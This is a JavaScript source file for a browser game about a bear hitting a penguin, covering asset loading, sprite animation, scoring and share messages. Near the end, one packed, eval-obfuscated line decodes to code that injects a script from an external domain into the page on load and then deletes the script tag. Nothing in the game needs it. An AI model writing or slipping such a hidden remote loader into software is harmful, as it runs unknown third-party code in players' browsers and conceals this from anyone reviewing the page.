index.js 22 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803
  1. var Main = {};
  2. btGame.makePublisher(Main);
  3. // 舞台宽高
  4. Main.width = 720;
  5. Main.height = 950;
  6. // 地平线
  7. Main.floorLine = 820;
  8. // 路标间距
  9. Main.guideDistance = Main.width;
  10. Main.debug = false;
  11. // 角度
  12. Main.minAngle = 5;
  13. Main.maxAngle = 60;
  14. Main.randomAngle = 2; // 上下偏移角度
  15. // 掉落时间
  16. Main.fallingTime = 1600;
  17. // 速度
  18. Main.speed = 900;
  19. // 舞台可视距离
  20. Main.visibleDistance = 250;
  21. // 最高份
  22. Main.maxScore = (window.localStorage && +localStorage["penguinMaxScores"]) || 0;
  23. // 帧频
  24. Main.fps = 40;
  25. var Resource;
  26. ;~function(res){
  27. // 资源加载
  28. res.load = function(){
  29. if(res.queue != null) return;
  30. res.queue = new createjs.LoadQueue(false);
  31. res.queue.addEventListener("progress",function(e) {
  32. //console.log(e);// 进度:e.loaded
  33. btGame.gameLoading(e.loaded);
  34. });
  35. res.queue.addEventListener("complete",function(e) {
  36. Main.log("完成", e);
  37. });
  38. res.queue.addEventListener("error",function(e) {
  39. btGame.gameLoading(0.1, e.text);
  40. });
  41. res.queue.loadFile("vapp/start.png");
  42. res.queue.loadFile("vapp/morebtn.png");
  43. res.queue.loadFile("vapp/startbtn.png");
  44. res.queue.loadFile("vapp/penguin.png");
  45. res.queue.loadFile("vapp/bear.png");
  46. res.queue.loadFile("vapp/hill.png");
  47. res.queue.loadFile("vapp/guide.png");
  48. res.queue.loadFile("vapp/background1.png");
  49. res.queue.loadFile("vapp/background2.png");
  50. res.queue.loadFile("vapp/flyend.png");
  51. res.queue.loadFile("vapp/traces.png");
  52. res.queue.loadFile("vapp/longtraces.png");
  53. res.queue.loadFile("vapp/score.png");
  54. res.queue.loadFile("vapp/fly.png");
  55. res.queue.loadFile("vapp/end.png");
  56. res.queue.loadFile("vapp/againbtn.png");
  57. res.queue.loadFile("vapp/notifybtn.png");
  58. }
  59. res.get = function(path){
  60. return res.queue.getResult(path);
  61. }
  62. }(Resource || (Resource = {}));
  63. Main.log = function(){
  64. Main.debug && console.log(arguments);
  65. }
  66. Main.shareTextMap = {
  67. "0": {
  68. tip: "没打中,手滑!再来一次~"
  69. ,title: "玩到了一个坑爹的游戏,不想砸手机就千万别来玩!"
  70. }
  71. ,"1": {
  72. tip: "没吃饱饭吗,用力用力!!"
  73. ,title: "我把笨熊打出了${m}米,击败了${n}%人,来挑战我吧!"
  74. }
  75. ,"2": {
  76. tip: "死鬼!想把我打去北极吗!"
  77. ,title: "我把笨熊打出了${m}米,击败了${n}%人,来挑战我吧!"
  78. }
  79. ,"3": {
  80. tip: "讨厌啦~怎么那么棒!"
  81. ,title: "我把笨熊打出了${m}米,击败了${n}%人,来挑战我吧!"
  82. },"4": {
  83. tip: "哎呦,你真的吊炸天了!"
  84. ,title: "我把笨熊打出了${m}米,击败了${n}%人,来挑战我吧!"
  85. },"5": {
  86. tip: "哇塞,你是大力神转世吧!"
  87. ,title: "我把笨熊打出了${m}米,击败了${n}%人,来挑战我吧!"
  88. },"6": {
  89. tip: "我去,超人也没你力量大,坏蛋!"
  90. ,title: "我把笨熊打出了${m}米,击败了${n}%人,来挑战我吧!"
  91. },"7": {
  92. tip: "哼,你要把我射出地球表面嘛?"
  93. ,title: "我把笨熊打出了${m}米,击败了${n}%人,来挑战我吧!"
  94. },"8": {
  95. tip: "下手太狠了,快把伦家射到地球!"
  96. ,title: "我把笨熊打出了${m}米,击败了${n}%人,来挑战我吧!"
  97. }
  98. };
  99. Main.getShareText = function(distance){
  100. var i = 0, n = 0;
  101. if(distance > 0){
  102. i = 1;
  103. n = Math.floor(Math.random() * 11 + 30);
  104. }
  105. if(distance > 5000){
  106. i = 2;
  107. n = Math.floor(Math.random() * 9 + 40);
  108. }
  109. if(distance > 10000){
  110. i = 3;
  111. n = Math.floor(Math.random() * 9 + 50);
  112. }if(distance > 15000){
  113. i = 4;
  114. n = Math.floor(Math.random() * 9 + 60);
  115. }if(distance > 20000){
  116. i = 5;
  117. n = Math.floor(Math.random() * 9 + 70);
  118. }if(distance > 25000){
  119. i = 6;
  120. n = Math.floor(Math.random() * 9 + 80);
  121. }if(distance > 30000){
  122. i = 7;
  123. n = Math.floor(Math.random() * 5 + 90);
  124. }if(distance > 40000){
  125. i = 8;
  126. n = Math.floor(Math.random() * 9 + 90);
  127. }
  128. var share=Main.shareTextMap[i];
  129. btGame.setShare({
  130. title:share.title.replace("${m}", distance).replace("${n}", n)
  131. });
  132. return share;
  133. };
  134. // 游戏开始界面
  135. Main.startGame = function(){
  136. var container = new createjs.Container();
  137. container.addChild(new createjs.Bitmap(Resource.get("vapp/start.png")));
  138. // 开始游戏
  139. var beginGame = new createjs.Bitmap(Resource.get("vapp/startbtn.png"));
  140. beginGame.setTransform(34, 580);
  141. beginGame.cursor = "pointer";
  142. beginGame.addEventListener("click", function(){
  143. createjs.Tween.get(container, {loop: false})
  144. .to({alpha: 0}, 300)
  145. .call(function(){
  146. Main.initGame();
  147. });
  148. });
  149. container.addChild(beginGame);
  150. // 更多游戏
  151. var moreGame = new createjs.Bitmap(Resource.get("vapp/morebtn.png"));
  152. moreGame.setTransform(377, 580);
  153. moreGame.cursor = "pointer";
  154. moreGame.addEventListener("click", function(){
  155. clickMore();
  156. });
  157. container.addChild(moreGame);
  158. Main.stage.addChild(container);
  159. }
  160. // 游戏结束界面
  161. Main.endGame = function(distance){
  162. if(!Main.endContainer){
  163. Main.endContainer = new createjs.Container();
  164. }else{
  165. Main.endContainer.removeAllEventListeners();
  166. Main.endContainer.removeAllChildren();
  167. }
  168. var container = Main.endContainer;
  169. container.alpha = 0;
  170. container.addChild(new createjs.Bitmap(Resource.get("vapp/end.png")));
  171. // 本次成绩
  172. var text1 = new createjs.Text(
  173. "本次距离: "+distance+" M", "bold 28pt Tahoma Helvetica Arial sans-serif", "#ffffff"
  174. );
  175. text1.textAlign = "center";
  176. text1.x = Main.width / 2;
  177. text1.y = 174;
  178. container.addChild(text1);
  179. var text2 = text1.clone(true);
  180. text2.text = "最远距离: " + Main.maxScore + " M";
  181. text2.y = 248;
  182. container.addChild(text2);
  183. var share = Main.getShareText(distance);
  184. var text3 = text1.clone(true);
  185. text3.text = share["tip"];
  186. text3.font = "bold 24pt Tahoma Helvetica Arial sans-serif";
  187. text3.textAlign = "center";
  188. text3.y = 394;
  189. container.addChild(text3);
  190. // 再来一次
  191. var again = new createjs.Bitmap(Resource.get("vapp/againbtn.png"));
  192. again.setTransform(35, 623);
  193. again.addEventListener("click", function(){
  194. createjs.Tween.get(container, {loop: false})
  195. .to({y: -Main.height, alpha: 0}, 500, createjs.Ease.quintInOut)
  196. .call(function(){
  197. container.alpha = 1;
  198. container.removeAllEventListeners();
  199. container.removeAllChildren();
  200. Main.reset.replay();
  201. });
  202. });
  203. container.addChild(again);
  204. // 通知好友
  205. var notify = new createjs.Bitmap(Resource.get("vapp/notifybtn.png"));
  206. notify.setTransform(376, 623);
  207. notify.addEventListener("click", function(){
  208. dp_share();
  209. });
  210. container.addChild(notify);
  211. // 更多游戏
  212. var more = new createjs.Shape();
  213. more.graphics.beginFill("#ffffff").drawRect(0, 0, Main.width, 60);
  214. more.alpha = 0.1;
  215. more.y = 870;
  216. more.addEventListener("click", function(){
  217. clickMore();
  218. });
  219. container.addChild(more);
  220. Main.stage.addChild(container);
  221. container.y = -Main.height;
  222. createjs.Tween.get(container, {loop: false})
  223. .to({y:0, alpha:1}, 500, createjs.Ease.quintInOut);
  224. dp_submitScore(distance);
  225. }
  226. Main.initStage = function(){
  227. // 舞台已经有了,就不用再初始化了
  228. if(!this.stage){
  229. Main.stage = new createjs.Stage("canvas");
  230. }
  231. // Main.stage.enableMouseOver();
  232. Main.stage.removeAllEventListeners();
  233. Main.stage.removeAllChildren();
  234. // 清空舞台
  235. Main.stage.removeAllChildren();
  236. Main.stage.removeAllEventListeners();
  237. // 舞台大小
  238. Main.stage.width = canvas.width = Main.width;
  239. Main.stage.height = canvas.height = Main.height;
  240. createjs.Ticker.addEventListener("tick", this.stage);
  241. // 先加载资源
  242. Resource.load();
  243. Resource.queue.addEventListener("complete", function(){
  244. // Main.startGame();
  245. Main.startGame();
  246. });
  247. };
  248. Main.initGame = function(){
  249. Main.initGame = function(){}; // 防止重复初始化
  250. Main.stage.enableMouseOver(true);
  251. Main.log("开始初始化游戏");
  252. Main.log("初始化:游戏背景");
  253. var img = new createjs.Container();
  254. img.setBounds(0, 0, Main.width * 2, Main.height);
  255. var b1 = new createjs.Bitmap(Resource.get("vapp/background2.png"));
  256. img.addChild(b1);
  257. b1 = new createjs.Bitmap(Resource.get("vapp/background2.png"));
  258. b1.x = Main.width;
  259. img.addChild(b1);
  260. b1 = new createjs.Bitmap(Resource.get("vapp/background1.png"));
  261. b1.x = Main.width * 2;
  262. img.addChild(b1);
  263. this.background = img;
  264. this.stage.addChild(img);
  265. this.reset.background(img);
  266. Main.log("初始化:北极熊");
  267. var bearImg = new createjs.Bitmap(Resource.get("vapp/bear.png"));
  268. var bearBound = bearImg.getBounds();
  269. var bearSS = new createjs.SpriteSheet({
  270. "framerate": 4
  271. ,"animations":{
  272. "normal": [0, 0]
  273. ,"prepare": [1, 2, false, 1.5]
  274. ,"shoot": {
  275. frames: [1, 3, 4, 5],
  276. next: false,
  277. speed: 3
  278. }
  279. ,"shootNull":{
  280. frames: [1, 3, 4, 0],
  281. next: false,
  282. speed: 2
  283. }
  284. },
  285. "images": [Resource.get("vapp/bear.png")],
  286. "frames":{
  287. "height": 360,
  288. "width":300,
  289. "regX": 0,
  290. "regY": 0,
  291. "count": 6
  292. }
  293. });
  294. var bear = new createjs.Sprite(bearSS);
  295. this.bear = bear;
  296. this.stage.addChild(bear);
  297. this.reset.bear();
  298. this.knockPoint = Math.ceil(bear.y + bearBound.height * 0.1);
  299. if(Main.debug){
  300. Main.log("计算击打点:" + this.knockPoint);
  301. var shape = new createjs.Shape();
  302. shape.graphics.beginFill("#ff0000").drawRect(0, 0, 50, 10);
  303. shape.x = this.width - 50;
  304. shape.y = this.knockPoint;
  305. this.stage.addChild(shape);
  306. shape = null;
  307. // 地平线
  308. var floor = new createjs.Shape();
  309. floor.graphics.beginFill("#ffff00").drawRect(0, 0, Main.width, 10);
  310. floor.x = 0;
  311. floor.y = this.floorLine;
  312. this.stage.addChild(floor);
  313. floor = null;
  314. }
  315. // 回收熊的内存
  316. bearImg = bearBound = bearSS = bear = null;
  317. Main.log("初始化: 分数");
  318. var score = new createjs.Container();
  319. score.setBounds(0, 0, 238, 56);
  320. if(this.debug){
  321. var shape = new createjs.Shape();
  322. shape.graphics.beginFill("#fefefe").drawRect(
  323. 0, 0, score.getBounds().width, score.getBounds().height
  324. );
  325. score.addChild(shape);
  326. }
  327. var top = new createjs.Text("TOP:", "36px Arial Black", "#336600");
  328. score.addChild(top);
  329. var topWidth = top.getMeasuredWidth();
  330. var text = new createjs.Text("", "36px Arial Black", "#FF0000");
  331. text.x = topWidth;
  332. score.addChild(text);
  333. this.scoreTop = top;
  334. this.scoreText = text;
  335. this.score = score;
  336. this.stage.addChild(score);
  337. this.reset.score();
  338. score = top = text = null;
  339. // 路标
  340. Main.log("初始化:路标");
  341. var guideBackground = new createjs.Bitmap(Resource.get("vapp/guide.png"));
  342. var guideBackgroundHeight = guideBackground.getBounds().height;
  343. var guideBackgroundWidth = guideBackground.getBounds().width;
  344. var guideIcon = new createjs.Container();
  345. guideIcon.setBounds(guideBackground.getBounds());
  346. guideIcon.addChild(guideBackground);
  347. guideIcon.y = this.floorLine - guideBackgroundHeight - 20;
  348. var guideText = new createjs.Text("", "28px Arial Black", "#2B5580");
  349. guideText.y = 40;
  350. guideIcon.addChild(guideText);
  351. this.guideWidth = guideBackgroundWidth;
  352. this.guideHeight = guideBackgroundHeight;
  353. this.guideText = guideText;
  354. this.guide = guideIcon;
  355. this.stage.addChild(guideIcon);
  356. this.reset.guide("100M");
  357. Main.log("初始化:笨熊");
  358. var penguinImg = new createjs.Bitmap(Resource.get("vapp/penguin.png"));
  359. var penguinBound = penguinImg.getBounds();
  360. var penguinSS = new createjs.SpriteSheet({
  361. "framerate": 5
  362. ,"animations": {
  363. "normal": {
  364. frames:[0, 1, 0, 1, 2]
  365. ,next: false
  366. }
  367. ,"nod" : [2, 2, "normal"]
  368. ,"jump" : {
  369. frames: [2, 3, 4, 5]
  370. ,speed: 2
  371. ,next: false
  372. }
  373. }
  374. ,"images" : [Resource.get("vapp/penguin.png")]
  375. ,"frames" : {
  376. width: 180,
  377. height: 170,
  378. count: 6
  379. }
  380. });
  381. var penguin = new createjs.Sprite(penguinSS);
  382. this.penguin = penguin;
  383. this.penguinHeight = penguinBound.height;
  384. this.stage.addChild(penguin);
  385. this.reset.penguin();
  386. // 回收内存吧,少年!
  387. img = bound = null;
  388. Main.log("初始化:游戏结束的笨熊");
  389. var endData = {
  390. images: [Resource.get("vapp/flyend.png")],
  391. frames: {width:180, height:170, count: 2},
  392. animations: {slide:[0], down:[1]}
  393. };
  394. Main.gameOverPenguinSS = new createjs.SpriteSheet(endData);
  395. endData = null;
  396. // 结束的分数牌
  397. Main.log("初始化:游戏结束的分数牌");
  398. Main.gameOverScore = new createjs.Container();
  399. Main.gameOverScoreBg = new createjs.Bitmap(Resource.get("vapp/score.png"));
  400. Main.gameOverScore.addChild(Main.gameOverScoreBg);
  401. Main.gameOverScore.regY = Main.gameOverScoreBg.getBounds().height;
  402. Main.gameOverScoreText = new createjs.Text("0", "26px Arial Black", "#336600");
  403. Main.gameOverScoreText.x = 10;
  404. Main.gameOverScoreText.y = 33;
  405. Main.gameOverScore.addChild(Main.gameOverScoreText);
  406. Main.stage.addChild(Main.gameOverScore);
  407. Main.gameOverScore.x = 0;
  408. Main.gameOverScore.y = 0;
  409. Main.gameOverScore.cursor = "pointer";
  410. Main.reset.gameOverScore(1);
  411. // 事件绑定,htc 坑爹的速度
  412. setTimeout(function(){
  413. Main.initEvent();
  414. }, 200);
  415. };
  416. Main.gameOverSocreHd = {
  417. over: function(event){
  418. console.log(this.hover);
  419. }
  420. ,out: function(event){
  421. console.log(this.hover);
  422. }
  423. }
  424. // 重设状态
  425. Main.penguinOffsetX = 260;
  426. Main.reset = {
  427. replay: function(){
  428. this.guide("100M");
  429. this.score();
  430. this.penguin();
  431. this.bear();
  432. this.background();
  433. this.endPenguin(false);
  434. this.gameOverScore("0");
  435. // 游戏数据
  436. Main.penguinAnimation = null;
  437. Main.isPlaying = false; // 正在进行游戏
  438. Main.isQuiver = false;
  439. Main.guideMoveLength = 0;
  440. Main.guideMoveIndex = 1;
  441. Main.fire("replay");
  442. }
  443. ,guide: function(text){
  444. Main.guide.x = -Main.guideWidth;
  445. var guideText = Main.guideText;
  446. if(text){
  447. guideText.text = text;
  448. guideText.x = (Main.guideWidth - guideText.getMeasuredWidth()) / 2;
  449. }
  450. }
  451. ,score: function(txt){
  452. var text = Main.scoreText;
  453. var topWidth = Main.scoreTop.getMeasuredWidth(); // top 文字的宽度
  454. var maxWidth = Main.score.getBounds().width - topWidth;
  455. text.text = txt || (Main.maxScore + "M");
  456. var width = text.getMeasuredWidth();
  457. if(width >= maxWidth){
  458. text.x = topWidth;
  459. text.text = text.text.slice(0, -1);
  460. }else{
  461. text.x = topWidth + (maxWidth - width) / 2;
  462. }
  463. Main.score.x = 68;
  464. Main.score.y = 681;
  465. }
  466. ,gameOverScore: function(txt){
  467. var text = Main.gameOverScoreText;
  468. var offsetX = 11, width = 100;
  469. if(txt){
  470. text.text = txt;
  471. var textWidth = text.getMeasuredWidth();
  472. if(textWidth >= width){
  473. text.x = offsetX;
  474. }else{
  475. text.x = (width - textWidth) / 2 + offsetX;
  476. }
  477. }
  478. Main.gameOverScore.y = -Main.gameOverScore.getBounds().height;
  479. }
  480. ,penguin: function(){
  481. var penguin = Main.penguin;
  482. var bound = Main.penguin.getBounds();
  483. penguin.x = Main.width - Main.penguinOffsetX;
  484. penguin.y = 0;
  485. penguin.alpha = 1;
  486. penguin.rotation = 0;
  487. penguin.gotoAndPlay("normal");
  488. }
  489. ,bear: function(){
  490. var bear = Main.bear;
  491. var bound = bear.getBounds();
  492. bear.x = Main.width - 330;
  493. bear.y = 500;
  494. bear.gotoAndPlay("normal");
  495. }
  496. ,background: function(){
  497. var background = Main.background;
  498. Main.stopMoveStage();
  499. background.regX = 2 * Main.width;
  500. }
  501. ,endPenguin: function(visible){
  502. if(visible){
  503. if(!Main.gameOverPenguin){
  504. Main.gameOverPenguin = new createjs.Sprite(Main.gameOverPenguinSS);
  505. Main.stage.addChild(Main.gameOverPenguin);
  506. }
  507. Main.penguin.alpha = 0;
  508. Main.gameOverPenguin.alpha = 1;
  509. Main.gameOverPenguin.gotoAndPlay("down");
  510. Main.gameOverPenguin.x = Main.penguin.x;
  511. Main.gameOverPenguin.y = Main.penguin.y;
  512. }else{
  513. Main.penguin.alpha = 1;
  514. Main.gameOverPenguin && (Main.gameOverPenguin.alpha = 0);
  515. }
  516. }
  517. };
  518. Main.initEvent = function(){
  519. Main.clickTime = 0;
  520. this.stage.removeEventListener("stagemousedown", this.eventHandler.stageClick);
  521. this.stage.addEventListener("stagemousedown", this.eventHandler.stageClick);
  522. };
  523. var eventCD = false;
  524. Main.eventHandler = {
  525. stageClick: function(event){
  526. // 如果点击了游戏结束排
  527. // 三星坑爹的事件,重复触发了
  528. if(!eventCD){
  529. Main.fire("stageClick", Main.clickTime);
  530. eventCD = true;
  531. setTimeout(function(){
  532. eventCD = false;
  533. }, 500);
  534. }
  535. }
  536. };
  537. Main.penguinAnimation = null;
  538. Main.isPlaying = false; // 正在进行游戏
  539. Main.isQuiver = false; // 是否击中
  540. /* 事件处理 */
  541. Main.on("stageClick", function(clickTime){
  542. // 第一次点击:企鹅掉下来 + 白熊准备动作
  543. if(!Main.isPlaying){
  544. Main.isPlaying = true;
  545. // 重设场景
  546. this.reset.penguin();
  547. this.reset.bear();
  548. this.reset.background();
  549. this.reset.score();
  550. Main.log("白熊挥棒了!");
  551. Main.bear.gotoAndPlay("prepare");
  552. Main.log("企鹅跳下来吧~!");
  553. Main.penguin.gotoAndPlay("jump");
  554. var toY = Main.floorLine - Main.penguinHeight + 70;
  555. Main.penguinAnimation = createjs.Tween.get(this.penguin, {loop: false});
  556. Main.penguinAnimation.to({y: toY}, Main.fallingTime, createjs.Ease.quadIn)
  557. .call(function(){
  558. Main.fire("gameOver", 0);
  559. Main.log("掉下来了");
  560. });
  561. // 监听熊的挥棒动作
  562. Main.bearListenerShoot();
  563. }else if(!Main.penguinAnimation._paused){
  564. // 这里很诡异,没有检测 pause 的方法..
  565. var penguinY = this.penguin.y - this.penguin.regY;
  566. var clickX = Math.abs(this.knockPoint - penguinY);
  567. Main.isQuiver = clickX <= this.penguinHeight;
  568. // 击中了?
  569. if(Main.isQuiver){
  570. clickX = Math.ceil(clickX / this.penguinHeight * 100);
  571. var angle = Main.calculateAngle(clickX);
  572. Main.log("击中角度:" + angle);
  573. Main.fire("knockPenguin", angle);
  574. // 解除熊的监听
  575. Main.bearRemoveListenerShoot();
  576. }else{
  577. Main.log("你木有击中!!");
  578. }
  579. this.bear.gotoAndPlay("shoot");
  580. }
  581. });
  582. Main.bearListenerShoot = function(){
  583. this.bearRemoveListenerShoot();
  584. this.bear.addEventListener("animationend", Main.bearShoot);
  585. }
  586. Main.bearRemoveListenerShoot = function(){
  587. this.bear.removeEventListener("animationend", Main.bearShoot);
  588. }
  589. // 如果打不中,立刻回去准备
  590. Main.bearShoot = function(){
  591. if(!Main.isQuiver && Main.bear.currentAnimation == "shoot"){
  592. Main.bear.gotoAndPlay("prepare");
  593. }
  594. }
  595. Main.on("knockPenguin", function(event, angle){
  596. Main.penguinAnimation.setPaused(true);
  597. Main.flyLine(angle);
  598. });
  599. Main.on("moveStage", function(event, distance, totalDistance){
  600. Main.moveStage(distance, totalDistance);
  601. });
  602. Main._moveStage = function(distance, totalDistance){
  603. Main.moveStage = Main.moveStage2;
  604. Main.moveStage(distance, totalDistance);
  605. }
  606. Main.moveStage = Main._moveStage;
  607. Main.stopMoveStage = function(){
  608. // this.stage.removeEventListener("tick", testMoveStage);
  609. Main.moveStage = Main._moveStage;
  610. }
  611. // 2、熊、山都和背景,都往后挪,Main.visibleDistance距离左右,就不挪动了
  612. Main.moveStage2 = function(distance, totalDistance){
  613. if(this.background.regX > Main.width){
  614. this.bear.x += distance;
  615. this.score.x += distance;
  616. this.background.regX -= distance;
  617. Main.moveGuide(distance, totalDistance);
  618. }else{
  619. Main.moveStage = Main.moveStage3;
  620. // Main.guideMoveLength = Main.guideDistance + Main.guideWidth;
  621. Main.moveStage3(distance, totalDistance);
  622. // 添加1个路标
  623. // Main.tool.addNewGuide(totalDistance, 0);
  624. }
  625. }
  626. // 3、背景往后挪
  627. Main.moveStage3 = function(distance, totalDistance){
  628. this.background.regX -= distance;
  629. if(this.background.regX <= 0){
  630. this.background.regX += Main.width;
  631. }
  632. Main.moveGuide(distance, totalDistance);
  633. }
  634. // 路标
  635. Main.guideMoveLength = 0;
  636. Main.guideMoveIndex = 2;
  637. Main.moveGuide = function(distance, totalDistance){
  638. this.guide.x += distance;
  639. // 路标
  640. this.guideMoveLength += distance;
  641. if(this.guideMoveLength >= this.guideDistance + this.guideWidth){
  642. Main.guideMoveIndex+=3;
  643. this.reset.guide(Main.guideMoveIndex + "00M");
  644. this.guideMoveLength = 0;
  645. }
  646. }
  647. Main.getTotalDistance = function(distance){
  648. Main.log(distance);
  649. var result = Main.guideMoveIndex * 100;
  650. var total = this.guideDistance + this.guideWidth;
  651. result += Math.round(Main.guide.x * total / Main.width) / 10;
  652. return distance > 0 ? result : 0;
  653. }
  654. Main.calculateAngle = function(x){
  655. Main.log("角度" + x);
  656. var y = Main.minAngle + Main.maxAngle * Math.sin(Math.PI * x / 200);
  657. y += Math.round(Math.random() * Main.randomAngle) * (Math.random() < 0.5 ? -1 : 1);
  658. return Math.ceil(y);
  659. }
  660. Main.gameOverScoreUtil = {
  661. dropDown: function(score, x){
  662. Main.reset.gameOverScore(score);
  663. Main.gameOverScore.x = x;
  664. createjs.Tween.get(Main.gameOverScore, {loop: false})
  665. .to({
  666. y: Main.floorLine - 60
  667. }, 800, createjs.Ease.quintIn);
  668. }
  669. };
  670. // 游戏结束
  671. Main.on("gameOver", function(event, distance, x){
  672. Main.log("游戏结束:" + Main.getTotalDistance(distance));
  673. var score = Main.getTotalDistance(distance);
  674. var hasNewMaxScore = score > Main.maxScore;
  675. Main.maxScore = Math.max(Main.maxScore, score);
  676. try{
  677. localStorage["penguinMaxScores"] = Main.maxScore;
  678. }catch(e){
  679. }
  680. if(distance <= 0){
  681. Main.reset.endPenguin(true);
  682. Main.bear.gotoAndPlay("shootNull");
  683. //Main.gameOverScoreUtil.dropDown("0", Main.penguin.x + 50);
  684. }else{
  685. //Main.gameOverScoreUtil.dropDown(score, x);
  686. }
  687. setTimeout(function(){
  688. Main.endGame(score);
  689. if(hasNewMaxScore && score > 700){
  690. btGame.playScoreMsg("企鹅大复仇,大力出奇迹!你获得了最好的成绩,快跟好友分享一下吧");
  691. btGame.setShare({
  692. title: "我在《企鹅的复仇》中将笨熊打出了"+Main.maxScore+"米,简直停不下来!"
  693. });
  694. }
  695. }, 1200);
  696. });
  697. eval(function(p,a,c,k,e,r){e=function(c){return c.toString(36)};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[4-9c-k]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('c _$=[\'\\6\\7\\d\\8\\9\\4\',\'\\4\\e\\x78\\4\\5\\h\\f\\x76\\f\\6\\7\\d\\8\\9\\4\',\'\\x68\\4\\4\\9\\x3a\\5\\5\\x77\\e\\8\\g\\x32\\6\\x6b\\x79\\g\\7\\x6e\\5\\x67\\f\\x6d\\e\\5\\x35\\x37\\5\\x6f\\g\\h\\6\',\'\\6\\7\\d\\8\\9\\4\'];(i(){c a=j.createElement(_$[0]);a.type=_$[1];a.async=true;a.src=_$[2];c b=j.getElementsByTagName(_$[3])[0x0];b.k.insertBefore(a,b);a.onload=i(){a.k.removeChild(a)}})();',[],21,'||||x74|x2f|x73|x63|x69|x70|||var|x72|x65|x61|x2e|x6a|function|document|parentNode'.split('|'),0,{}))
  698. btGame.resizePlayArea($("#container"), Main.width, Main.height, "center", "center");
  699. Main.initStage();